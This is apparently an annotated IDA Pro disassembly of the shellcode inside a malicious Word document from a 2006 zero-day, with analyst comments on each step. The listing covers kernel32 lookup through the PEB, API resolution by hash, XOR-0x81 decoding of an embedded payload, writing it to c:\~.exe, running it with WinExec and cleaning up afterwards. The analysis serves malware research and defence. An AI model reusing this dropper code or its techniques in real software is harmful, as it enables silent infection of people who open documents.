seg000:00000000 ; seg000:00000000 ; +-------------------------------------------------------------------------+ seg000:00000000 ; ¦ This file is generated by The Interactive Disassembler (IDA) ¦ seg000:00000000 ; ¦ Copyright (c) 2006 by DataRescue sa/nv, <ida@datarescue.com> ¦ seg000:00000000 ; +-------------------------------------------------------------------------+ seg000:00000000 ; seg000:00000000 ; File Name : C:\Documents and Settings\Administrator\Desktop\PLANNING REPORT 5-16-2006.doc seg000:00000000 ; Format : Binary file seg000:00000000 ; Base Address: 0000h Range: 0000h - 246F5h Loaded length: 246F5h seg000:00000000 ; seg000:00000000 ; Authors: Michael Ligh and Ryan Smith seg000:00000000 ; seg000:00000000 ; This is a commented dissassembly of the Word 0-day released in seg000:00000000 ; mid-late May 2006. This document does not describe the vulnerability seg000:00000000 ; or malware that results from an infection. seg000:00000000 ; seg000:00000000 seg000:00000000 seg000:00000000 unicode macro page,string,zero seg000:00000000 irpc c,<string> seg000:00000000 db '&c', page seg000:00000000 endm seg000:00000000 ifnb <zero> seg000:00000000 dw zero seg000:00000000 endif seg000:00000000 endm seg000:00000000 seg000:00000000 .686p seg000:00000000 .mmx seg000:00000000 .model flat seg000:00000000 seg000:00000000 ---------------------------------------------------------------------------seg000:00000B2E seg000:00000B2E ; The shellcode starts here. It uses Dino Dai Zovi's PEB resolution method seg000:00000B2E ; to load the base address of kernel32.dll. This information will be seg000:00000B2E ; used to locate the addresses of kernel32's exports (because they seg000:00000B2E ; are offsets from the base address). seg000:00000B2E seg000:00000B2E nop seg000:00000B2F nop seg000:00000B30 mov eax, fs:off_30 ; load PEB address into eax seg000:00000B36 mov eax, [eax+0Ch] seg000:00000B39 mov esi, [eax+1Ch] seg000:00000B3C lodsd seg000:00000B3D mov esi, [eax+8] ; kernel32.dll entry point seg000:00000B40 jmp loc_DAF seg000:00000B40 seg000:00000B40 ; At this point, the code jumps to loc_DAF, which immediately calls sub_B45. seg000:00000B40 ; In doing so, the call instruction sets EIP to 0x00000DB4 (offset in seg000:00000B40 ; this file) and pushes it on the stack. Notably, the first seg000:00000B40 ; instruction in sub_B45 is to pop this address into eax (see below) seg000:00000B40 seg000:00000B45 seg000:00000B45 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ seg000:00000B45 seg000:00000B45 seg000:00000B45 ; The first part of this code loads the address to which EIP points seg000:00000B45 ; into the eax register. If you look at 0x00000DB4, there isn't much, seg000:00000B45 ; but a dword (0A2000h) and three unicode strings of file names. seg000:00000B45 ; The code uses the offset of these values from EIP to reference them and seg000:00000B45 ; builds a structure with pointers to them. The same structure will be used seg000:00000B45 ; to store addresses of all the kernel32 exports later. In the code seg000:00000B45 ; below, edi contains a pointer to the first member of the structure. seg000:00000B45 seg000:00000B45 sub_B45 proc near ; CODE XREF: seg000:loc_DAFp seg000:00000B45 pop eax seg000:00000B46 sub esp, 200h seg000:00000B4C mov edi, esp seg000:00000B4E mov ebx, [eax] ; [eax] == 0A2000h seg000:00000B50 mov [edi+4], ebx seg000:00000B53 mov [edi+SCRATCH.hKernel32], esi ; entry point of kernel32 seg000:00000B56 add eax, 4 seg000:00000B59 mov [edi+SCRATCH.String1], eax ; c:\~$ seg000:00000B5C add eax, 0Ch seg000:00000B5F mov [edi+SCRATCH.String2], eax ; c:\~.exe seg000:00000B62 add eax, 12h seg000:00000B65 mov [edi+SCRATCH.String3], eax ; c:\~.exe seg000:00000B6B push edi ; saves the scratch pad for use within loc_BA1 seg000:00000B6C mov edi, esp seg000:00000B6E xor edi, 0FFFFh seg000:00000B74 dec edi seg000:00000B75 dec edi seg000:00000B76 dec edi seg000:00000B77 seg000:00000B77 ; The next instructions search memory for the original Word document's seg000:00000B77 ; own filename. The last mov (above) places the esp pointer into edi. seg000:00000B77 ; The loop works by reading a dword from edi and comparing it to the seg000:00000B77 ; unicode equivalent of "oc". If it matches then it begins to search seg000:00000B77 ; for ".d" (which completes the ".doc" extension). Otherwise, seg000:00000B77 ; it decrements edi and grabs another dword. When done, it jumps seg000:00000B77 ; to loc_BA1. seg000:00000B77 seg000:00000B77 loc_B77: ; CODE XREF: sub_B45+39j seg000:00000B77 ; sub_B45+45j ... seg000:00000B77 dec edi seg000:00000B78 cmp dword ptr [edi], 63006Fh ; "oc" seg000:00000B7E jnz short loc_B77 seg000:00000B80 dec edi seg000:00000B81 dec edi seg000:00000B82 dec edi seg000:00000B83 dec edi seg000:00000B84 cmp dword ptr [edi], 64002Eh ; ".d" seg000:00000B8A jnz short loc_B77 seg000:00000B8C push 0C8h seg000:00000B91 pop ecx seg000:00000B92 mov esi, edi seg000:00000B94 seg000:00000B94 loc_B94: ; CODE XREF: sub_B45+58j seg000:00000B94 dec esi seg000:00000B95 cmp dword ptr [esi], 5C003Ah seg000:00000B9B jz short loc_BA1 ; finished - jump to loc_BA1 seg000:00000B9D loop loc_B94 seg000:00000B9F jmp short loc_B77 ; failed - start over again from loc_B77 seg000:00000BA1 ; --------------------------------------------------------------------------- seg000:00000BA1 seg000:00000BA1 ; This is the section that fills the shellcode's own structure seg000:00000BA1 ; members with pointers to kernel32 exports. Once again, edi contains seg000:00000BA1 ; the pointer to the structure's first member, so all [edi+xyz] are seg000:00000BA1 ; references to the additional members. The loop here consists of seg000:00000BA1 ; pushing two parameters on the stack - a dword hash of the function name seg000:00000BA1 ; (probably hashed to obfuscate the functions it imports) and the seg000:00000BA1 ; entry point for kernel32.dll. Each iteration calls resolve_func seg000:00000BA1 ; for the actual work (see 0x00000D5B of this file). When complete, seg000:00000BA1 ; the code knows exactly where to find all the system resources and seg000:00000BA1 ; functions it needs. seg000:00000BA1 ; seg000:00000BA1 ; Note the xyz field in all the [edi+xyz] operands are natively seg000:00000BA1 ; numerical. My co-worker Ryan reversed the resolve_func sub routine seg000:00000BA1 ; and renamed them for readability. seg000:00000BA1 seg000:00000BA1 seg000:00000BA1 loc_BA1: ; CODE XREF: sub_B45+56j seg000:00000BA1 dec esi seg000:00000BA2 dec esi seg000:00000BA3 pop edi seg000:00000BA4 mov [edi+SCRATCH.szDOCFILENAME], esi seg000:00000BA7 push [edi+SCRATCH.hKernel32] seg000:00000BAA push 0C0397ECh ; GlobalAlloc seg000:00000BAF call resolve_func seg000:00000BB4 mov [edi+SCRATCH.pGlobalAlloc], eax seg000:00000BB7 push [edi+SCRATCH.hKernel32] seg000:00000BBA push 7CB922F6h ; GlobalFree seg000:00000BBF call resolve_func seg000:00000BC4 mov [edi+SCRATCH.pGlobalFree], eax seg000:00000BC7 push dword ptr [edi+8] seg000:00000BCA push 7C0017BBh ; CreateFileW seg000:00000BCF call resolve_func seg000:00000BD4 mov [edi+SCRATCH.pCreateFileW], eax seg000:00000BD7 push dword ptr [edi+8] seg000:00000BDA push 0FFD97FBh ; CloseHandle seg000:00000BDF call resolve_func seg000:00000BE4 mov [edi+SCRATCH.pCloseHandle], eax seg000:00000BE7 push dword ptr [edi+8] seg000:00000BEA push 10FA6516h ; ReadFile seg000:00000BEF call resolve_func seg000:00000BF4 mov [edi+SCRATCH.pReadFile], eax seg000:00000BF7 push dword ptr [edi+8] seg000:00000BFA push 0E80A791Fh ; WriteFile seg000:00000BFF call resolve_func seg000:00000C04 mov [edi+SCRATCH.pWriteFile], eax seg000:00000C07 push dword ptr [edi+8] seg000:00000C0A push 0C2FFB03Bh ; DeleteFileW seg000:00000C0F call resolve_func seg000:00000C14 mov [edi+SCRATCH.pDeleteFileW], eax seg000:00000C17 push dword ptr [edi+8] seg000:00000C1A push 76DA08ACh ; SetFilePointer seg000:00000C1F call resolve_func seg000:00000C24 mov [edi+SCRATCH.pSetFilePointer], eax seg000:00000C27 push dword ptr [edi+8] seg000:00000C2A push 0E8AFE98h ; WinExec seg000:00000C2F call resolve_func seg000:00000C34 mov [edi+SCRATCH.pWinExec], eax seg000:00000C37 push dword ptr [edi+8] seg000:00000C3A push 99EC8974h ; CopyFileW seg000:00000C3F call resolve_func seg000:00000C44 mov [edi+SCRATCH.pCopyFileW], eax seg000:00000C47 push dword ptr [edi+8] seg000:00000C4A push 73E2D87Eh ; ExitProcess seg000:00000C4F call resolve_func seg000:00000C54 mov [edi+SCRATCH.pExitProcess], eax seg000:00000C54 seg000:00000C54 ; Delete any previously existing files of the same name. Recall these are seg000:00000C54 ; two of the three unicode file names discussed earlier. seg000:00000C54 seg000:00000C57 push [edi+SCRATCH.String2] ; c:\~.exe seg000:00000C5A call [edi+SCRATCH.pDeleteFileW] seg000:00000C5D push [edi+SCRATCH.String1] ; c:\~$ seg000:00000C60 call [edi+SCRATCH.pDeleteFileW] seg000:00000C63 seg000:00000C63 ; The next 3 push instructions are preparing the arguments for CopyFile. seg000:00000C63 ; Top down, they are 0 (for overwriting permission), destination seg000:00000C63 ; file name, and source file name (derived by the code's memory searching seg000:00000C63 ; technique). seg000:00000C63 seg000:00000C63 push 0 seg000:00000C65 push [edi+SCRATCH.String1] ; c:\~$ seg000:00000C68 push [edi+SCRATCH.szDOCFILENAME] seg000:00000C6B call [edi+SCRATCH.pCopyFileW] seg000:00000C6E seg000:00000C6E ; The next 7 push instructions are preparing the arguments for CreateFile. seg000:00000C6E ; Despite the function name, this only opens an already existing file (in seg000:00000C6E ; particular an exact copy of the original Word document now at c:\~$ after seg000:00000C6E ; CopyFile). seg000:00000C6E seg000:00000C6E push 0 seg000:00000C70 push 80h seg000:00000C75 push 3 seg000:00000C77 push 0 seg000:00000C79 push 0 seg000:00000C7B push 80000000h seg000:00000C80 push [edi+SCRATCH.String1] ; c:\~$ seg000:00000C83 call [edi+SCRATCH.pCreateFileW] seg000:00000C86 seg000:00000C86 ; This is where it gets a little interesting. The code places its read seg000:00000C86 ; pointer at EOF and moves -4 bytes (back toward the beginning). This seg000:00000C86 ; is the offset to where the output file begins. It reads data into seg000:00000C86 ; a buffer, makes a call to allocate storate on the heap, then resets the seg000:00000C86 ; read pointer and does a second iteration with different offsets. Once it seg000:00000C86 ; has collected all the data, it proceeds to loc_CEA for processing. seg000:00000C86 seg000:00000C86 mov [edi+SCRATCH.hInputFile], eax seg000:00000C89 push FILE_END seg000:00000C8B push 0 seg000:00000C8D push -4 seg000:00000C8F push [edi+SCRATCH.hInputFile] seg000:00000C92 call [edi+SCRATCH.pSetFilePointer] seg000:00000C95 push 0 seg000:00000C97 lea ebx, [edi+SCRATCH.endMarker] seg000:00000C9D push ebx seg000:00000C9E push 4 seg000:00000CA0 lea ebx, [edi+SCRATCH.field_4] seg000:00000CA3 push ebx seg000:00000CA4 push [edi+SCRATCH.hInputFile] ; handle to c:\~$ seg000:00000CA7 call [edi+SCRATCH.pReadFile] seg000:00000CAA push [edi+SCRATCH.field_4] seg000:00000CAD push 40h ; '@' ; allocate 40 bytes on heap seg000:00000CAF call [edi+SCRATCH.pGlobalAlloc] seg000:00000CB2 mov [edi+SCRATCH.pMallocdBuff0], eax seg000:00000CB5 mov ebx, [edi+SCRATCH.field_4] seg000:00000CB8 add ebx, 4 seg000:00000CBB not ebx seg000:00000CBD inc ebx seg000:00000CBE push 2 ; new offsets and starting loc seg000:00000CC0 push 0 seg000:00000CC2 push ebx seg000:00000CC3 push [edi+SCRATCH.hInputFile] seg000:00000CC6 call [edi+SCRATCH.pSetFilePointer] seg000:00000CC9 push 0 seg000:00000CCB lea ebx, [edi+SCRATCH.endMarker] seg000:00000CD1 push ebx seg000:00000CD2 push [edi+SCRATCH.field_4] seg000:00000CD5 push [edi+SCRATCH.pMallocdBuff0] seg000:00000CD8 push [edi+SCRATCH.hInputFile] seg000:00000CDB call [edi+SCRATCH.pReadFile] seg000:00000CDE push [edi+SCRATCH.hInputFile] seg000:00000CE1 call [edi+SCRATCH.pCloseHandle] seg000:00000CE4 mov eax, [edi+SCRATCH.field_4] seg000:00000CE7 mov ebx, [edi+SCRATCH.pMallocdBuff0] seg000:00000CEA seg000:00000CEA ; This section of code loops through all bytes in the buffer filled by the seg000:00000CEA ; previous ReadFile() functions and xor's them with 0x81. In the instructions, seg000:00000CEA ; ebx is the array index and eax is the counter. This xor-encoding seg000:00000CEA ; scheme obfuscates the code and could help evade IDS detection in seg000:00000CEA ; some cases. seg000:00000CEA seg000:00000CEA loc_CEA: ; CODE XREF: sub_B45+1ADj seg000:00000CEA xor byte ptr [ebx], 81h ; The output file is static xor'd with 0x81 seg000:00000CED inc ebx seg000:00000CEE dec eax seg000:00000CEF cmp eax, 0 seg000:00000CF2 jnz short loc_CEA seg000:00000CF4 seg000:00000CF4 ; At this point, the decoded payload exists on the heap. What to do with it? seg000:00000CF4 ; Write it to disk of course! And use the last remaining unicode string as its seg000:00000CF4 ; file name. seg000:00000CF4 seg000:00000CF4 push 0 seg000:00000CF6 push 80h seg000:00000CFB push 2 seg000:00000CFD push 0 seg000:00000CFF push 0 seg000:00000D01 push 40000000h seg000:00000D06 push [edi+SCRATCH.String2] ; c:\~.exe seg000:00000D09 call [edi+SCRATCH.pCreateFileW] seg000:00000D0C mov [edi+SCRATCH.hFileTwo], eax seg000:00000D0F push 0 seg000:00000D11 lea ebx, [edi+SCRATCH.endMarker] seg000:00000D17 push ebx seg000:00000D18 push [edi+SCRATCH.field_4] seg000:00000D1B push [edi+SCRATCH.pMallocdBuff0] seg000:00000D1E push eax seg000:00000D1F call [edi+SCRATCH.pWriteFile] seg000:00000D22 push 0 seg000:00000D24 lea ebx, [edi+SCRATCH.endMarker] seg000:00000D2A push ebx seg000:00000D2B push 0FFh seg000:00000D30 push [edi+SCRATCH.szDOCFILENAME] seg000:00000D33 push [edi+SCRATCH.hFileTwo] seg000:00000D36 call [edi+SCRATCH.pWriteFile] seg000:00000D39 push [edi+SCRATCH.hFileTwo] seg000:00000D3C seg000:00000D3C ; The code is cleaning up by closing its open file handles and releasing seg000:00000D3C ; the heap back to the OS. seg000:00000D3C seg000:00000D3C call [edi+SCRATCH.pCloseHandle] seg000:00000D3F push [edi+SCRATCH.pMallocdBuff0] seg000:00000D42 call [edi+SCRATCH.pGlobalFree] seg000:00000D45 seg000:00000D45 ; Here the code calls WinExec() to launch the new executable it has just seg000:00000D45 ; written to disk. Then it deletes the copy of the original Word doc that seg000:00000D45 ; it saved to c:\~$ and exits. seg000:00000D45 seg000:00000D45 push 0 seg000:00000D47 push [edi+SCRATCH.String3] ; c:\~.exe seg000:00000D4D call [edi+SCRATCH.pWinExec] seg000:00000D50 push [edi+SCRATCH.String1] ; c:\~$ seg000:00000D53 call [edi+SCRATCH.pDeleteFileW] seg000:00000D56 push 0 seg000:00000D58 call [edi+SCRATCH.pExitProcess] seg000:00000D58 sub_B45 endp seg000:00000D58 seg000:00000D5B seg000:00000D5B ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ seg000:00000D5B seg000:00000D5B ; Attributes: bp-based frame seg000:00000D5B seg000:00000D5B resolve_func proc near ; CODE XREF: sub_B45+6Ap seg000:00000D5B ; sub_B45+7Ap ... seg000:00000D5B seg000:00000D5B arg_0 = dword ptr 8 seg000:00000D5B arg_4 = dword ptr 0Ch seg000:00000D5B seg000:00000D5B push ebp ; standard function prologue seg000:00000D5C mov ebp, esp ; standard function prologue seg000:00000D5E push edi ; save the scratch pad again seg000:00000D5F mov edi, [ebp+arg_0] ; move arg[0] into edi seg000:00000D62 mov ebx, [ebp+arg_4] ; move arg[1] into ebx seg000:00000D65 push esi seg000:00000D66 mov esi, [ebx+3Ch] seg000:00000D69 mov esi, [esi+ebx+78h] seg000:00000D6D add esi, ebx seg000:00000D6F push esi seg000:00000D70 mov esi, [esi+20h] seg000:00000D73 add esi, ebx seg000:00000D75 xor ecx, ecx seg000:00000D77 dec ecx seg000:00000D78 seg000:00000D78 loc_D78: ; CODE XREF: resolve_func+36j seg000:00000D78 inc ecx seg000:00000D79 lodsd seg000:00000D7A add eax, ebx seg000:00000D7C push esi seg000:00000D7D xor esi, esi seg000:00000D7F seg000:00000D7F loc_D7F: ; CODE XREF: resolve_func+31j seg000:00000D7F movsx edx, byte ptr [eax] seg000:00000D82 cmp dh, dl seg000:00000D84 jz short loc_D8E seg000:00000D86 ror esi, 0Dh ; rotate right function seg000:00000D89 add esi, edx seg000:00000D8B inc eax seg000:00000D8C jmp short loc_D7F seg000:00000D8E ; --------------------------------------------------------------------------- seg000:00000D8E seg000:00000D8E loc_D8E: ; CODE XREF: resolve_func+29j seg000:00000D8E cmp edi, esi seg000:00000D90 pop esi seg000:00000D91 jnz short loc_D78 seg000:00000D93 pop edx seg000:00000D94 mov ebp, ebx seg000:00000D96 mov ebx, [edx+24h] seg000:00000D99 add ebx, ebp seg000:00000D9B mov cx, [ebx+ecx*2] seg000:00000D9F mov ebx, [edx+1Ch] seg000:00000DA2 add ebx, ebp seg000:00000DA4 mov eax, [ebx+ecx*4] seg000:00000DA7 add eax, ebp seg000:00000DA9 pop esi seg000:00000DAA pop edi seg000:00000DAB pop ebp seg000:00000DAC retn 8 seg000:00000DAC resolve_func endp seg000:00000DAC seg000:00000DAF ; --------------------------------------------------------------------------- seg000:00000DAF seg000:00000DAF loc_DAF: ; CODE XREF: seg000:00000B40j seg000:00000DAF call sub_B45 seg000:00000DAF ; --------------------------------------------------------------------------- seg000:00000DB4 dd 0A2000h seg000:00000DB8 aC: seg000:00000DB8 unicode 0, <c:\~$>,0 seg000:00000DC4 aC_exe: seg000:00000DC4 unicode 0, <c:\~.exe>,0 seg000:00000DD6 aC_exe_0 db 'c:\~.exe',0 seg000:00000DDF db 0Eh seg000:00000DE0 db 0 seg000:00000DE1 db 0FFh seg000:00000DE2 db 0FFh seg000:00000DE3 db 0FFh seg000:00000DE4 db